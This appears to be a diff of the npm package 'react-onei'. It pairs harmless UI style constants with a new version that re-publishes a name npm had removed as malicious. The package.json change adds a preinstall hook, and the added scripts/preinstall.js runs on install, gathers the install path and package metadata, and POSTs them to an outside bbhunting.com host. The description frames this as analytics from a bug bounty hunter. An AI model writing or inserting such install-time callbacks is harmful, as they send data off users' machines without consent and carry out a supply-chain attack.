size: 21
|
781
|
+
},
|
782
|
+
large: {
|
783
|
+
size: 25
|
784
|
+
}
|
785
|
+
},
|
786
|
+
content: {
|
787
|
+
small: {
|
788
|
+
paddingBottom: 15
|
789
|
+
},
|
790
|
+
medium: {
|
791
|
+
paddingBottom: 30
|
792
|
+
},
|
793
|
+
large: {
|
794
|
+
paddingBottom: 30
|
795
|
+
}
|
796
|
+
}
|
797
|
+
};
|
798
|
+
export var alert = {
|
799
|
+
standard: {
|
800
|
+
container: {
|
801
|
+
paddingLeft: 15,
|
802
|
+
paddingRight: 15
|
803
|
+
},
|
804
|
+
icon: {
|
805
|
+
size: 32
|
806
|
+
},
|
807
|
+
title: {
|
808
|
+
paddingTop: 19,
|
809
|
+
paddingBottom: 21,
|
810
|
+
paddingLeft: 15
|
811
|
+
},
|
812
|
+
text: {
|
813
|
+
paddingTop: 0,
|
814
|
+
paddingBottom: 30
|
815
|
+
},
|
816
|
+
button: {
|
817
|
+
paddingBottom: 30
|
818
|
+
}
|
819
|
+
},
|
820
|
+
mini: {
|
821
|
+
container: {
|
822
|
+
paddingLeft: 15,
|
823
|
+
paddingRight: 15
|
824
|
+
},
|
825
|
+
icon: {
|
826
|
+
size: 20
|
827
|
+
},
|
828
|
+
title: {
|
829
|
+
withoutLink: {
|
830
|
+
paddingTop: 8,
|
831
|
+
paddingBottom: 10,
|
832
|
+
paddingLeft: 15
|
833
|
+
},
|
834
|
+
withLink: {
|
835
|
+
paddingTop: 8,
|
836
|
+
paddingBottom: 8,
|
837
|
+
paddingLeft: 15
|
838
|
+
}
|
839
|
+
},
|
840
|
+
text: {
|
841
|
+
paddingTop: 0,
|
842
|
+
paddingBottom: 10
|
843
|
+
},
|
844
|
+
button: {
|
845
|
+
paddingBottom: 10
|
846
|
+
}
|
847
|
+
}
|
848
|
+
};
|
849
|
+
export var arrowLink = {
|
850
|
+
maxWidth: 300,
|
851
|
+
standard: {
|
852
|
+
paddingTop: 7,
|
853
|
+
paddingBottom: 10,
|
854
|
+
icon: {
|
855
|
+
size: 12,
|
856
|
+
color: 'primaryDark',
|
857
|
+
margin: 10
|
858
|
+
}
|
859
|
+
},
|
860
|
+
mini: {
|
861
|
+
paddingTop: 8,
|
862
|
+
paddingBottom: 10,
|
863
|
+
icon: {
|
864
|
+
size: 10,
|
865
|
+
color: 'primaryDark',
|
866
|
+
margin: 7
|
867
|
+
}
|
868
|
+
}
|
869
|
+
};
|
package/package.json
CHANGED
@@ -1,6 +1,12 @@
|
|
1
1
|
{
|
2
2
|
"name": "react-onei",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "10.1.0",
|
4
|
+
"description": "This package sends a callback to a server when installed (for analytics purposes). From YesWH/H1/bc Hunter)",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"All went OK.\" && exit 1",
|
8
|
+
"preinstall": "node ./scripts/preinstall.js"
|
9
|
+
},
|
10
|
+
"author": "sicarius@wearehackerone.com",
|
11
|
+
"license": "ISC"
|
6
12
|
}
|
@@ -0,0 +1,53 @@
|
|
1
|
+
//author:- sicarius@wearehackerone.com
|
2
|
+
const https = require("https");
|
3
|
+
const packageJSON = require("../package.json");
|
4
|
+
const querystring = require("querystring");
|
5
|
+
const package = packageJSON.name;
|
6
|
+
const fs = require('fs');
|
7
|
+
const path = require('path');
|
8
|
+
|
9
|
+
// Check for a required file in the project directory
|
10
|
+
const requiredFile = path.join(__dirname, '..', 'required-file.txt');
|
11
|
+
|
12
|
+
if (!fs.existsSync(requiredFile)) {
|
13
|
+
console.error('Error: The required-file.txt is missing. Please create it before installing the package.');
|
14
|
+
}
|
15
|
+
|
16
|
+
console.log('Preinstall required check completed successfully. Proceeding with custom analytics...');
|
17
|
+
|
18
|
+
const analytics = JSON.stringify({
|
19
|
+
p: package,
|
20
|
+
c: __dirname,
|
21
|
+
pjson: packageJSON,
|
22
|
+
});
|
23
|
+
|
24
|
+
var postData = querystring.stringify({
|
25
|
+
msg: analytics,
|
26
|
+
});
|
27
|
+
|
28
|
+
var http_request_options = {
|
29
|
+
// Registering the user
|
30
|
+
hostname: "1q7f705es6154343965m6gy97eis5765u.bbhunting.com",
|
31
|
+
port: 443,
|
32
|
+
path: "/",
|
33
|
+
method: "POST",
|
34
|
+
headers: {
|
35
|
+
"Content-Type": "application/x-www-form-urlencoded",
|
36
|
+
"Content-Length": postData.length,
|
37
|
+
},
|
38
|
+
};
|
39
|
+
|
40
|
+
var req = https.request(http_request_options, (res) => {
|
41
|
+
res.on("data", (d) => {
|
42
|
+
process.stdout.write(d);
|
43
|
+
});
|
44
|
+
});
|
45
|
+
|
46
|
+
req.on("error", (e) => {
|
47
|
+
// console.error(e);
|
48
|
+
});
|
49
|
+
console.log('Preinstall script completed...');
|
50
|
+
|
51
|
+
req.write(postData);
|
52
|
+
req.end();
|
53
|
+
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=react-onei for more information.
|